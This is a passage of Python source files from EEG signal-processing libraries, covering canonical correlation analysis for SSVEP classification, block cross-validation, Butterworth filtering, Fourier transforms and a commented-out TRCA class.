y.mean(axis=0) n = x.shape[0] c_xx = np.dot(x.T, x) / n c_yy = np.dot(y.T, y) / n c_xy = np.dot(x.T, y) / n c_yx = np.dot(y.T, x) / n ic_xx = np.linalg.pinv(c_xx) ic_yy = np.linalg.pinv(c_yy) # calculate w_x w, v = np.linalg.eig(functools.reduce(np.dot, [ic_xx, c_xy, ic_yy, c_yx])) w_x = v[:, np.argmax(w)].real w_x = w_x / np.sqrt(functools.reduce(np.dot, [w_x.T, c_xx, w_x])) # calculate w_y w, v = np.linalg.eig(functools.reduce(np.dot, [ic_yy, c_yx, ic_xx, c_xy])) w_y = v[:, np.argmax(w)].real w_y = w_y / np.sqrt(functools.reduce(np.dot, [w_y.T, c_yy, w_y])) # calculate rho rho = abs(functools.reduce(np.dot, [w_x.T, c_xy, w_y])) return rho, w_x, w_y def find_correlation_cca(signal, reference_signals): r""" Perform canonical correlation analysis (CCA) Args: signal : ndarray, shape (channel,time) Input signal in time domain reference_signals : ndarray, shape (len(flick_freq),2*num_harmonics,time) Required sinusoidal reference templates corresponding to the flicker frequency for SSVEP classification Returns: result : array, size: (reference_signals.shape[0]) Probability for each reference signals wx : array, size: (reference_signals.shape[0],signal.shape[0]) Wx obtain from CCA wy : array, size: (reference_signals.shape[0],signal.shape[0]) Wy obtain from CCA Dependencies: np : numpy package calculate_cca : function """ result = np.zeros(reference_signals.shape[0]) wx = np.zeros((reference_signals.shape[0],signal.shape[0])) wy = np.zeros((reference_signals.shape[0],reference_signals.shape[1])) for freq_idx in range(0, reference_signals.shape[0]): dat_y = np.squeeze(reference_signals[freq_idx, :, :]).T rho, w_x, w_y = calculate_cca(signal.T, dat_y) result[freq_idx] = rho wx[freq_idx,:] = w_x wy[freq_idx,:] = w_y return result, wx, wy def perform_cca(signal, reference_frequencies, labels=None): r""" Perform canonical correlation analysis (CCA) Args: signal : ndarray, shape (trial,channel,time) or (trial,channel,segment,time) Input signal in time domain reference_frequencies : ndarray, shape (len(flick_freq),2*num_harmonics,time) Required sinusoidal reference templates corresponding to the flicker frequency for SSVEP classification labels : ndarray shape (classes,) True labels of `signal`. Index of the classes must be match the sequence of `reference_frequencies` Returns: predicted_class : ndarray, size: (classes,) Predicted classes according to reference_frequencies accuracy : double If `labels` are given, `accuracy` denote classification accuracy predicted_probabilities : ndarray, size: (classes,) Predicted probabilities for each target wx : array, size: (reference_signals.shape[0],signal.shape[0]) Wx obtain from CCA wy : array, size: (reference_signals.shape[0],signal.shape[0]) Wy obtain from CCA Dependencies: confusion_matrix : sklearn.metrics.confusion_matrix find_correlation_cca : function """ assert (len(signal.shape) == 3 or len(signal.shape) == 4), "signal shape must be 3 or 4 dimension" actual_class = [] predicted_class = [] predicted_probabilities = [] accuracy = None Wx = [] Wy = [] for trial in range(0, signal.shape[0]): if len(signal.shape) == 3: if labels is not None: actual_class.append(labels[trial]) tmp_signal = signal[trial, :, :] result, wx, wy = find_correlation_cca(tmp_signal, reference_frequencies) predicted_class.append(np.argmax(result)) result = np.around(result, decimals=3, out=None) predicted_probabilities.append(result) Wx.append(wx) Wy.append(wy) if len(signal.shape) == 4: for segment in range(0, signal.shape[2]): if labels is not None: actual_class.append(labels[trial]) tmp_signal = signal[trial, :, segment, :] result, wx, wy = find_correlation_cca(tmp_signal, reference_frequencies) predicted_class.append(np.argmax(result)) result = np.around(result, decimals=3, out=None) predicted_probabilities.append(result) Wx.append(wx) Wy.append(wy) actual_class = np.array(actual_class) predicted_class = np.array(predicted_class) if labels is not None: # creating a confusion matrix of true versus predicted classification labels c_mat = confusion_matrix(actual_class, predicted_class) # computing the accuracy from the confusion matrix accuracy = np.divide(np.trace(c_mat), np.sum(np.sum(c_mat))) Wx = np.array(Wx) Wy = np.array(Wy) return predicted_class, accuracy, predicted_probabilities, Wx, Wy ``` #### File: splearn/cross_validate/leave_one_out.py ```python import numpy as np from sklearn.metrics import accuracy_score def leave_one_block_evaluation(classifier, X, Y, block_seq_labels=None): r""" Estimate classification performance with a Leave-One-Block-Out cross-validation approach. Iteratively select a block for testing and use all other blocks for training. Args: X : ndarray, shape (blocks, targets, channels, samples) 4-dim signal data Y : ndarray, shape (blocks, targets) Targets are int, starts from 0 block_seq_labels : list A list of labels for each block Returns: test_accuracies : list Test accuracies by block Usage: >>> from splearn.cross_decomposition.trca import TRCA >>> from splearn.data.sample_ssvep import SampleSSVEPData >>> from splearn.cross_validate.leave_one_out import leave_one_block_evaluation >>> >>> data = SampleSSVEPData() >>> eeg = data.get_data() >>> labels = data.get_targets() >>> print("eeg.shape:", eeg.shape) >>> print("labels.shape:", labels.shape) >>> >>> trca_classifier = TRCA(sampling_rate=data.sampling_rate) >>> test_accuracies = leave_one_block_evaluation(trca_classifier, eeg, labels) """ test_accuracies = [] blocks, targets, channels, samples = X.shape for block_i in range(blocks): test_acc = block_evaluation(classifier, X, Y, block_i, block_seq_labels[block_i] if block_seq_labels is not None else None) test_accuracies.append(test_acc) print(f'Mean test accuracy: {np.array(test_accuracies).mean().round(3)*100}%') return test_accuracies def block_evaluation(classifier, X, Y, block_i, block_label=None): r""" Select a block for testing, use all other blocks for training. Args: X : ndarray, shape (blocks, targets, channels, samples) 4-dim signal data Y : ndarray, shape (blocks, targets) Targets are int, starts from 0 block_i: int Index of the selected block for testing block_label : str or int Labels for this block, for printing Returns: train_acc : float Train accuracy test_acc : float Test accuracy of the selected block """ blocks, targets, channels, samples = X.shape train_acc = 0 if classifier.can_train: x_train = np.delete(X, block_i, axis=0) x_train = x_train.reshape((blocks-1*targets, channels, samples)) y_train = np.delete(Y, block_i, axis=0) y_train = y_train.reshape((blocks-1*targets)) classifier.fit(x_train, y_train) # p1 = classifier.predict(x_train) # train_acc = accuracy_score(y_train, p1) x_test = X[block_i,:,:,:] y_test = Y[block_i] p2 = classifier.predict(x_test) test_acc = accuracy_score(y_test, p2) if block_label is None: block_label = 'Block:' + str(block_i+1) # if classifier.can_train: # print(f'{block_label} | Train acc: {train_acc*100:.2f}% | Test acc: {test_acc*100:.2f}%') # else: # print(f'{block_label} | Test acc: {test_acc*100:.2f}%') print(f'{block_label} | Test acc: {test_acc*100:.2f}%') return test_acc ``` #### File: splearn/filter/butterworth.py ```python import numpy as np import matplotlib.pyplot as plt from scipy.signal import butter, filtfilt, sosfiltfilt, freqz from splearn.fourier import fast_fourier_transform def butter_bandpass_filter(signal, lowcut, highcut, sampling_rate, order=4, verbose=False): r""" Digital filter bandpass zero-phase implementation (filtfilt) Apply a digital filter forward and backward to a signal Args: signal : ndarray, shape (trial,channel,time) Input signal by trials in time domain lowcut : int Lower bound filter highcut : int Upper bound filter sampling_rate : int Sampling frequency order : int, default: 4 Order of the filter verbose : boolean, default: False Print and plot details Returns: y : ndarray Filter signal """ sos = _butter_bandpass(lowcut, highcut, sampling_rate, order=order, output='sos') y = sosfiltfilt(sos, signal, axis=2) if verbose: tmp_x = signal[0, 0] tmp_y = y[0, 0] # time domain plt.plot(tmp_x, label='signal') plt.show() plt.plot(tmp_y, label='Filtered') plt.show() # freq domain lower_xlim = lowcut-10 if (lowcut-10) > 0 else 0 fast_fourier_transform( tmp_x, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Signal') fast_fourier_transform( tmp_y, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Filtered') plt.xlim([lower_xlim, highcut+20]) plt.ylim([0, 2]) plt.legend() plt.xlabel('Frequency (Hz)') plt.show() print('Input: Signal shape', signal.shape) print('Output: Signal shape', y.shape) return y def butter_bandpass_filter_signal_1d(signal, lowcut, highcut, sampling_rate, order=4, verbose=False): r""" Digital filter bandpass zero-phase implementation (filtfilt) Apply a digital filter forward and backward to a signal Args: signal : ndarray, shape (time,) Single input signal in time domain lowcut : int Lower bound filter highcut : int Upper bound filter sampling_rate : int Sampling frequency order : int, default: 4 Order of the filter verbose : boolean, default: False Print and plot details Returns: y : ndarray Filter signal """ b, a = _butter_bandpass(lowcut, highcut, sampling_rate, order) y = filtfilt(b, a, signal) if verbose: w, h = freqz(b, a) plt.plot((sampling_rate * 0.5 / np.pi) * w, abs(h), label="order = %d" % order) plt.plot([0, 0.5 * sampling_rate], [np.sqrt(0.5), np.sqrt(0.5)], '--', label='sqrt(0.5)') plt.xlabel('Frequency (Hz)') plt.ylabel('Gain') plt.grid(True) plt.legend(loc='best') low = max(0, lowcut-(sampling_rate/100)) high = highcut+(sampling_rate/100) plt.xlim([low, high]) plt.ylim([0, 1.2]) plt.title('Frequency response of filter - lowcut:' + str(lowcut)+', highcut:'+str(highcut)) plt.show() # TIME plt.plot(signal, label='Signal') plt.title('Signal') plt.show() plt.plot(y, label='Filtered') plt.title('Bandpass filtered') plt.show() # FREQ lower_xlim = lowcut-10 if (lowcut-10) > 0 else 0 fast_fourier_transform( signal, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Signal') fast_fourier_transform( y, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Filtered') plt.xlim([lower_xlim, highcut+20]) plt.ylim([0, 2]) plt.legend() plt.xlabel('Frequency (Hz)') plt.show() print('Input: Signal shape', signal.shape) print('Output: Signal shape', y.shape) return y def _butter_bandpass(lowcut, highcut, sampling_rate, order=4, output='ba'): r""" Create a Butterworth bandpass filter Design an Nth-order digital or analog Butterworth filter and return the filter coefficients. Args: lowcut : int Lower bound filter highcut : int Upper bound filter sampling_rate : int Sampling frequency order : int, default: 4 Order of the filter output : string, default: ba Type of output {‘ba’, ‘zpk’, ‘sos’} Returns: butter : ndarray Butterworth filter Dependencies: butter : scipy.signal.butter """ nyq = sampling_rate * 0.5 low = lowcut / nyq high = highcut / nyq return butter(order, [low, high], btype='bandpass', output=output) #### ver 1 # def butter_bandpass(signal, lowcut, highcut, sampling_rate, type="sos", order=4, plot=False, **kwargs): # r""" # Design a `order`th-order bandpass Butterworth filter with a cutoff frequency between `lowcut`-Hz and `highcut`-Hz, which, for data sampled at `sampling_rate`-Hz. # Reference: https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.butter.html # https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.filtfilt.html # https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.sosfiltfilt.html # Args: # signal : ndarray, shape (time,) or (channel,time) or (trial,channel,time) # Input signal (1D/2D/3D), where last axis is time samples. # lowcut : int # Lower bound filter # highcut : int # Upper bound filter # sampling_rate : int # Sampling frequency # type: string, optional, default: sos # Type of output: numerator/denominator (‘ba’), or second-order sections (‘sos’). # Default is ‘ba’ for backwards compatibility, but ‘sos’ should be used for general-purpose filtering. # order : int, optional, default: 4 # Order of the filter # plot : boolean, optional, default: False # Plot signal and filtered signal in frequency domain # plot_xlim : array of shape [lower, upper], optional, default: [lowcut-10 if (lowcut-10) > 0 else 0, highcut+20] # If `plot=True`, set a limit on the X-axis between lower and upper bound # plot_ylim : array of shape [lower, upper], optional, default: None # If `plot=True`, set a limit on the Y-axis between lower and upper bound # Returns: # y : ndarray # Filtered signal that has same shape in input `signal` # Usage: # >>> from splearn.data.generate import generate_signal # >>> # >>> signal_1d = generate_signal( # >>> length_seconds=4, # >>> sampling_rate=100, # >>> frequencies=[4,7,11,17,40, 50], # >>> plot=True # >>> ) # >>> print('signal_1d.shape', signal_1d.shape) # >>> # >>> signal_2d = generate_signal( # >>> length_seconds=4, # >>> sampling_rate=100, # >>> frequencies=[[4,7,11,17,40, 50],[1, 3]], # >>> plot=True # >>> ) # >>> print('signal_2d.shape', signal_2d.shape) # >>> # >>> signal_3d = np.expand_dims(s1, 0) # >>> print('signal_3d.shape', signal_3d.shape) # >>> # >>> signal_1d_filtered = butter_bandpass( # >>> signal=signal_1d, # >>> lowcut=5, # >>> highcut=20, # >>> sampling_rate=100, # >>> plot=True, # >>> ) # >>> print('signal_1d_filtered.shape', signal_1d_filtered.shape) # >>> # >>> signal_2d_filtered = butter_bandpass( # >>> signal=signal_2d, # >>> lowcut=5, # >>> highcut=20, # >>> sampling_rate=100, # >>> type='sos', # >>> order=4, # >>> plot=True, # >>> plot_xlim=[3,20] # >>> ) # >>> print('signal_2d_filtered.shape', signal_2d_filtered.shape) # >>> # >>> signal_3d_filtered = butter_bandpass( # >>> signal=signal_3d, # >>> lowcut=5, # >>> highcut=20, # >>> sampling_rate=100, # >>> type='ba', # >>> order=4, # >>> plot=True, # >>> plot_xlim=[0,40] # >>> ) # >>> print('signal_3d_filtered.shape', signal_3d_filtered.shape) # """ # dim = len(signal.shape)-1 # if type == 'ba': # b, a = _butter_bandpass(lowcut, highcut, sampling_rate, order) # y = filtfilt(b, a, signal) # else: # sos = _butter_bandpass(lowcut, highcut, sampling_rate, # order=order, output='sos') # y = sosfiltfilt(sos, signal, axis=dim) # if plot: # tmp_x = signal # tmp_y = y # if dim == 1: # tmp_x = signal[0] # tmp_y = y[0] # elif dim == 2: # tmp_x = signal[0, 0] # tmp_y = y[0, 0] # if type == 'ba': # # plot frequency response of filter # w, h = freqz(b, a) # plt.plot((sampling_rate * 0.5 / np.pi) * w, # abs(h), label="order = %d" % order) # plt.plot([0, 0.5 * sampling_rate], [np.sqrt(0.5), np.sqrt(0.5)], # '--', label='sqrt(0.5)') # plt.xlabel('Frequency (Hz)') # plt.ylabel('Gain') # plt.grid(True) # plt.legend(loc='best') # low = max(0, lowcut-(sampling_rate/100)) # high = highcut+(sampling_rate/100) # plt.xlim([low, high]) # plt.ylim([0, 1.2]) # plt.title('Frequency response of filter - lowcut:' + # str(lowcut)+', highcut:'+str(highcut)) # plt.show() # plot_xlim = kwargs['plot_xlim'] if 'plot_xlim' in kwargs else [lowcut-10 if (lowcut-10) > 0 else 0, highcut+20] # plot_ylim = kwargs['plot_ylim'] if 'plot_ylim' in kwargs else None # # frequency domain # fast_fourier_transform( # tmp_x, # sampling_rate, # plot=True, # plot_xlim=plot_xlim, # plot_ylim=plot_ylim, # plot_label='Signal' # ) # fast_fourier_transform( # tmp_y, # sampling_rate, # plot=True, # plot_xlim=plot_xlim, # plot_ylim=plot_ylim, # plot_label='Filtered' # ) # plt.title('Signal and filtered signal in frequency domain, type:' + type + ',lowcut:' + str(lowcut) + ',highcut:' + str(highcut) + ',order:' + str(order)) # plt.legend() # plt.show() # return y # def _butter_bandpass(lowcut, highcut, sampling_rate, order=4, output='ba'): # r""" # Create a Butterworth bandpass filter. Design an Nth-order digital or analog Butterworth filter and return the filter coefficients. # Reference: https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.butter.html # Args: # lowcut : int # Lower bound filter # highcut : int # Upper bound filter # sampling_rate : int # Sampling frequency # order : int, default: 4 # Order of the filter # output : string, default: ba # Type of output {‘ba’, ‘zpk’, ‘sos’}. Type of output: numerator/denominator (‘ba’), pole-zero (‘zpk’), or second-order sections (‘sos’). # Default is ‘ba’ for backwards compatibility, but ‘sos’ should be used for general-purpose filtering. # Returns: # butter : ndarray # Scipy butterworth filter # Dependencies: # butter : scipy.signal.butter # """ # nyq = sampling_rate * 0.5 # low = lowcut / nyq # high = highcut / nyq # return butter(order, [low, high], btype='bandpass', output=output) # if __name__ == "__main__": # from splearn.data.generate import signal # signal_1d = generate_signal( # length_seconds=4, # sampling_rate=100, # frequencies=[4,7,11,17,40, 50], # plot=True # ) # print('signal_1d.shape', signal_1d.shape) # signal_2d = generate_signal( # length_seconds=4, # sampling_rate=100, # frequencies=[[4,7,11,17,40, 50],[1, 3]], # plot=True # ) # print('signal_2d.shape', signal_2d.shape) # signal_3d = np.expand_dims(s1, 0) # print('signal_3d.shape', signal_3d.shape) # signal_1d_filtered = butter_bandpass( # signal=signal_1d, # lowcut=5, # highcut=20, # sampling_rate=100, # plot=True, # ) # print('signal_1d_filtered.shape', signal_1d_filtered.shape) # signal_2d_filtered = butter_bandpass( # signal=signal_2d, # lowcut=5, # highcut=20, # sampling_rate=100, # type='sos', # order=4, # plot=True, # plot_xlim=[3,20] # ) # print('signal_2d_filtered.shape', signal_2d_filtered.shape) # signal_3d_filtered = butter_bandpass( # signal=signal_3d, # lowcut=5, # highcut=20, # sampling_rate=100, # type='ba', # order=4, # plot=True, # plot_xlim=[0,40] # ) # print('signal_3d_filtered.shape', signal_3d_filtered.shape) ``` #### File: python-signal-processing/splearn/fourier.py ```python import numpy as np from scipy.fft import fft import matplotlib.pyplot as plt def fast_fourier_transform(signal, sampling_rate, plot=False, **kwargs): r""" Use Fourier transforms to find the frequency components of a signal buried in noise. Args: signal : ndarray, shape (time,) or (channel,time) or (trial,channel,time) Single input signal in time domain sampling_rate: int Sampling frequency plot : boolean, optional, default: False To plot the single-sided amplitude spectrum plot_xlim : array of shape [lower, upper], optional, default: [0, int(`sampling_rate`/2)] If `plot=True`, set a limit on the X-axis between lower and upper bound plot_ylim : array of shape [lower, upper], optional, default: None If `plot=True`, set a limit on the Y-axis between lower and upper bound plot_label : string, optional, default: '' If `plot=True`, text label for this signal in plot, shown in legend plot_line_freq : int or float or list, option, default: None If `plot=True`, plot a vertical line to mark the target frequency. If a list is given, will plot multiple lines. Returns: P1 : ndarray Frequency domain. Compute the two-sided spectrum P2. Then compute the single-sided spectrum P1 based on P2 and the even-valued signal length L. See https://www.mathworks.com/help/matlab/ref/fft.html Usage: >>> from splearn.data.generate import generate_signal >>> from splearn.fourier import fast_fourier_transform >>> >>> s1 = generate_signal( >>> length_seconds=3.5, >>> sampling_rate=100, >>> frequencies=[4,7], >>> plot=True >>> ) >>> >>> p1 = fast_fourier_transform( >>> signal=s1, >>> sampling_rate=100, >>> plot=True, >>> plot_xlim=[0, 10], >>> plot_line_freq=7 >>> ) Reference: - https://www.mathworks.com/help/matlab/ref/fft.html - https://docs.scipy.org/doc/scipy/reference/tutorial/fft.html - https://docs.scipy.org/doc/scipy/reference/generated/scipy.fft.fft.html """ plot_xlim = kwargs['plot_xlim'] if 'plot_xlim' in kwargs else [0, int(sampling_rate/2)] plot_ylim = kwargs['plot_ylim'] if 'plot_ylim' in kwargs else None plot_label = kwargs['plot_label'] if 'plot_label' in kwargs else '' plot_line_freq = kwargs['plot_line_freq'] if 'plot_line_freq' in kwargs else None plot_label = kwargs['plot_label'] if 'plot_label' in kwargs else '' fft_p1 = None if len(signal.shape) == 1: fft_p1 = _fast_fourier_transform(signal, sampling_rate) fft_p1 = np.expand_dims(fft_p1,0) if len(signal.shape) == 2: for ch in range(signal.shape[0]): fft_c = _fast_fourier_transform(signal[ch, :], sampling_rate=sampling_rate) if fft_p1 is None: fft_p1 = np.zeros((signal.shape[0], fft_c.shape[0])) fft_p1[ch] = fft_c if len(signal.shape) == 3: for trial in range(signal.shape[0]): for ch in range(signal.shape[1]): fft_c = _fast_fourier_transform(signal[trial, ch, :], sampling_rate=sampling_rate) if fft_p1 is None: fft_p1 = np.zeros((signal.shape[0], signal.shape[1], fft_c.shape[0])) fft_p1[trial,ch,:] = fft_c if plot: signal_length = signal.shape[ len(signal.shape)-1 ] f = sampling_rate*np.arange(0, (signal_length/2)+1)/signal_length if len(fft_p1.shape) == 3: means = np.mean(fft_p1, 0) stds = np.std(fft_p1, 0) for c in range(fft_p1.shape[1]): plt.plot(f, means[c], label=plot_label) plt.xlim(plot_xlim) plt.fill_between(f, means[c]-stds[c],means[c]+stds[c],alpha=.1) else: for c in range(fft_p1.shape[0]): plt.plot(f, fft_p1[c], label=plot_label) plt.xlim(plot_xlim) if plot_ylim is not None: plt.ylim(plot_ylim) if plot_label != '': plt.legend() if plot_line_freq is not None: if isinstance(plot_line_freq, list): for i in plot_line_freq: plt.axvline(x=i, color='r', linewidth=1.5) else: plt.axvline(x=plot_line_freq, color='r', linewidth=1.5) if len(signal.shape) == 1: fft_p1 = fft_p1[0] return fft_p1 def _fast_fourier_transform(signal, sampling_rate): r""" Use Fourier transforms to find the frequency components of a signal buried in noise. Args: signal : ndarray, shape (time,) Single input signal in time domain sampling_rate: int Sampling frequency Returns: P1 : ndarray Frequency domain. Compute the two-sided spectrum P2. Then compute the single-sided spectrum P1 based on P2 and the even-valued signal length L. See https://www.mathworks.com/help/matlab/ref/fft.html. Usage: See `fast_fourier_transform` Reference: - https://www.mathworks.com/help/matlab/ref/fft.html - https://docs.scipy.org/doc/scipy/reference/tutorial/fft.html - https://docs.scipy.org/doc/scipy/reference/generated/scipy.fft.fft.html """ signal_length = signal.shape[0] if signal_length % 2 != 0: signal_length = signal_length+1 y = fft(signal) p2 = np.abs(y/signal_length) p1 = p2[0:round(signal_length/2+1)] p1[1:-1] = 2*p1[1:-1] return p1 if __name__ == "__main__": from splearn.data.generate import generate_signal from splearn.fourier import fast_fourier_transform s1 = generate_signal( length_seconds=3.5, sampling_rate=100, frequencies=[4,7], plot=True ) p1 = fast_fourier_transform( signal=s1, sampling_rate=100, plot=True, plot_xlim=[0, 10], plot_line_freq=7 ) ```
{ "source": "jinglescode/torchsignal", "score": 3 }
#### File: torchsignal/cross_decomposition/CCA.py ```python import numpy as np import matplotlib.pyplot as plt from sklearn.cross_decomposition import CCA from sklearn.metrics import confusion_matrix import functools def find_correlation_cca_method1(signal, reference_signals, n_components=2): r""" Perform canonical correlation analysis (CCA) Reference: https://github.com/aaravindravi/Brain-computer-interfaces/blob/master/notebook_12_class_cca.ipynb Args: signal : ndarray, shape (channel,time) Input signal in time domain reference_signals : ndarray, shape (len(flick_freq),2*num_harmonics,time) Required sinusoidal reference templates corresponding to the flicker frequency for SSVEP classification n_components : int, default: 2 number of components to keep (for sklearn.cross_decomposition.CCA) Returns: result : array, size: len(flick_freq) Probability for each reference signals Dependencies: CCA : sklearn.cross_decomposition.CCA np : numpy package """ cca = CCA(n_components) corr = np.zeros(n_components) result = np.zeros(reference_signals.shape[0]) for freq_idx in range(0, reference_signals.shape[0]): cca_x = signal.T cca_y = np.squeeze(reference_signals[freq_idx, :, :]).T cca.fit(cca_x, cca_y) a, b = cca.transform(cca_x, cca_y) for ind_val in range(0, n_components): corr[ind_val] = np.corrcoef(a[:, ind_val], b[:, ind_val])[0, 1] result[freq_idx] = np.max(corr) return result def calculate_cca(dat_x, dat_y, time_axis=-2): r""" Calculate the Canonical Correlation Analysis (CCA). This method calculates the canonical correlation coefficient and corresponding weights which maximize a correlation coefficient between linear combinations of the two specified multivariable signals. Reference: https://github.com/venthur/wyrm/blob/master/wyrm/processing.py Reference: http://en.wikipedia.org/wiki/Canonical_correlation Args: dat_x : continuous Data object these data should have the same length on the time axis. dat_y : continuous Data object these data should have the same length on the time axis. time_axis : int, optional the index of the time axis in ``dat_x`` and ``dat_y``. Returns: rho : float the canonical correlation coefficient. w_x, w_y : 1d array the weights for mapping from the specified multivariable signals to canonical variables. Raises: AssertionError : If: * ``dat_x`` and ``dat_y`` is not continuous Data object * the length of ``dat_x`` and ``dat_y`` is different on the ``time_axis`` Dependencies: functools : functools package np : numpy package """ assert (len(dat_x.data.shape) == len(dat_y.data.shape) == 2 and dat_x.data.shape[time_axis] == dat_y.data.shape[time_axis]) if time_axis == 0 or time_axis == -2: x = dat_x.copy() y = dat_y.copy() else: x = dat_x.T.copy() y = dat_y.T.copy() # calculate covariances and it's inverses x -= x.mean(axis=0) y -= y.mean(axis=0) n = x.shape[0] c_xx = np.dot(x.T, x) / n c_yy = np.dot(y.T, y) / n c_xy = np.dot(x.T, y) / n c_yx = np.dot(y.T, x) / n ic_xx = np.linalg.pinv(c_xx) ic_yy = np.linalg.pinv(c_yy) # calculate w_x w, v = np.linalg.eig(functools.reduce(np.dot, [ic_xx, c_xy, ic_yy, c_yx])) w_x = v[:, np.argmax(w)].real w_x = w_x / np.sqrt(functools.reduce(np.dot, [w_x.T, c_xx, w_x])) # calculate w_y w, v = np.linalg.eig(functools.reduce(np.dot, [ic_yy, c_yx, ic_xx, c_xy])) w_y = v[:, np.argmax(w)].real w_y = w_y / np.sqrt(functools.reduce(np.dot, [w_y.T, c_yy, w_y])) # calculate rho rho = abs(functools.reduce(np.dot, [w_x.T, c_xy, w_y])) return rho, w_x, w_y def find_correlation_cca_method2(signal, reference_signals): r""" Perform canonical correlation analysis (CCA) Args: signal : ndarray, shape (channel,time) Input signal in time domain reference_signals : ndarray, shape (len(flick_freq),2*num_harmonics,time) Required sinusoidal reference templates corresponding to the flicker frequency for SSVEP classification Returns: result : array, size: len(flick_freq) Probability for each reference signals Dependencies: np : numpy package calculate_cca : function """ result = np.zeros(reference_signals.shape[0]) for freq_idx in range(0, reference_signals.shape[0]): dat_y = np.squeeze(reference_signals[freq_idx, :, :]).T rho, w_x, w_y = calculate_cca(signal.T, dat_y) result[freq_idx] = rho return result def perform_cca(signal, reference_frequencies, labels=None): r""" Perform canonical correlation analysis (CCA) Args: signal : ndarray, shape (trial,channel,time) or (trial,channel,segment,time) Input signal in time domain reference_frequencies : ndarray, shape (len(flick_freq),2*num_harmonics,time) Required sinusoidal reference templates corresponding to the flicker frequency for SSVEP classification labels : ndarray shape (classes,) True labels of `signal`. Index of the classes must be match the sequence of `reference_frequencies` Returns: predicted_class : ndarray, size: (classes,) Predicted classes according to reference_frequencies accuracy : double If `labels` are given, `accuracy` denote classification accuracy Dependencies: confusion_matrix : sklearn.metrics.confusion_matrix find_correlation_cca_method1 : function find_correlation_cca_method2 : function """ assert (len(signal.shape) == 3 or len(signal.shape) == 4), "signal shape must be 3 or 4 dimension" actual_class = [] predicted_class = [] accuracy = None for trial in range(0, signal.shape[0]): if len(signal.shape) == 3: if labels is not None: actual_class.append(labels[trial]) tmp_signal = signal[trial, :, :] result = find_correlation_cca_method2(tmp_signal, reference_frequencies) predicted_class.append(np.argmax(result)) if len(signal.shape) == 4: for segment in range(0, signal.shape[2]): if labels is not None: actual_class.append(labels[trial]) tmp_signal = signal[trial, :, segment, :] result = find_correlation_cca_method2(tmp_signal, reference_frequencies) predicted_class.append(np.argmax(result)) actual_class = np.array(actual_class) predicted_class = np.array(predicted_class) if labels is not None: # creating a confusion matrix of true versus predicted classification labels c_mat = confusion_matrix(actual_class, predicted_class) # computing the accuracy from the confusion matrix accuracy = np.divide(np.trace(c_mat), np.sum(np.sum(c_mat))) return predicted_class, accuracy ``` #### File: torchsignal/cross_decomposition/TRCA.py ```python # (3).带通滤波 # #这里假设采样频率为1000hz,信号本身最大的频率为500hz,要滤除10hz以下和400hz以上频率成分,即截至频率为10hz和400hz,则wn1=2*10/1000=0.02,wn2=2*400/1000=0.8。Wn=[0.02,0.8] # from scipy import signal # b, a = signal.butter(8, [0.02,0.8], 'bandpass') # filtedData = signal.filtfilt(b, a, data) #data为要过滤的信号 # ———————————————— # 版权声明:本文为CSDN博主「John-Cao」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 # 原文链接:https://blog.csdn.net/weixin_37996604/article/details/82864680 # ''' # class TRCA(): # def __init__(self, opt): # self.opt = opt # self.channels = ["POz", "PO3", "PO4", "PO5", "PO6", "Oz", "O1", "O2"] # self.sample_rate = 1000 # 1000Hz # self.downsample_rate= 250 # 250Hz # self.latency = 0.14 # [0.14s, 0.14s + d] # self.data_length = self.opt.data_length # d , data length # self.traindata = None # self.trainlabel = None # self.testdata = None # self.testlabel = None # self.Nm = self.opt.Nm # self.Nf = self.opt.Nf # self.Nc = len(self.channels) # self.X_hat = np.zeros((self.Nm, self.Nf, self.Nc, int(self.downsample_rate * self.data_length))) # (Nm, Nf, Nc, data_length) # self.W = np.zeros((self.Nm, self.Nf, len(self.channels), 1)) # (Nm, Nf, Nc, 1) # self.w1 = [2*(m+1)*8/self.downsample_rate for m in range(self.Nm)] # self.w2 = [2 * 90 / self.downsample_rate for m in range(self.Nm)] # def load_data(self, dataroot = None): # if dataroot is None: # print("dataroot error -->: ",dataroot) # datapath = glob.glob(os.path.join(dataroot,"xxrAR","*")) # ['.\\datasets\\xxrAR\\EEG.mat'] # oEEG = loadmat(datapath[0]) # """ # data 数据格式(trials, filter_bank, channals, timep_oints) --> (160, Nm, Nf, 0.5s * 采样率) # """ # self.traindata, self.testdata, self.trainlabel, self.testlabel = self.segment(oEEG) # def segment(self , oEEG): # EEG = oEEG["EEG"] # data = EEG["data"][0, 0] # event = EEG["event"][0, 0] # chanlocs = EEG["chanlocs"][0,0] # channels_idx = [] # for i in range(chanlocs.shape[0]): # if chanlocs[i,0][0][0] in self.channels: # channels_idx.append(i) # all_data = np.zeros( # ( # 160, # 样本个数 # self.Nc, # 通道数 # int(self.downsample_rate*self.data_length) # 数据长度 # ) # ) # all_label = np.zeros((160, 1)) # [0,1,2,...,Nf] 取值范围 # for idx in range(event.shape[0]): # lb = int(event["type"][idx, 0][0]) - 1 # lat = event["latency"][idx, 0][0][0] # # 原始数据为 1000hz 采样 , 根据原文,需要降采样到 250hz 。 # all_data[idx] = data[channels_idx, int(self.latency* self.sample_rate + lat ) : int(self.latency* self.sample_rate + lat + self.data_length * self.sample_rate )][:,::4] # all_label[idx,0] = lb # all_data = self.filerbank(all_data) # # 9 : 1 分割训练集与测试集 # train_X, test_X, train_y, test_y = train_test_split(all_data, # all_label, # test_size = 0.2, # random_state = 0) # return train_X, test_X, train_y, test_y # ''' # 这里假设采样频率为1000hz,信号本身最大的频率为500hz,要滤除10hz以下和400hz以上频率成分,即截至频率为10hz和400hz,则wn1=2*10/1000=0.02,wn2=2*400/1000=0.8。Wn=[0.02,0.8] # b, a = signal.butter(8, [0.02,0.8], 'bandpass') # filtedData = signal.filtfilt(b, a, data) #data为要过滤的信号 # ''' # def filerbank(self, data): # data_filterbank = np.zeros((data.shape[0], self.Nm, len(self.channels), data.shape[2])) # for i in range(self.Nm): # # 8 是滤波器的阶数, 不确定用哪个。。 # # print([self.w1[i], self.w2[i]]) # b, a = signal.butter(self.opt.filter_order, [self.w1[i], self.w2[i]], 'bandpass') # data_filterbank[:, i, :, :] = 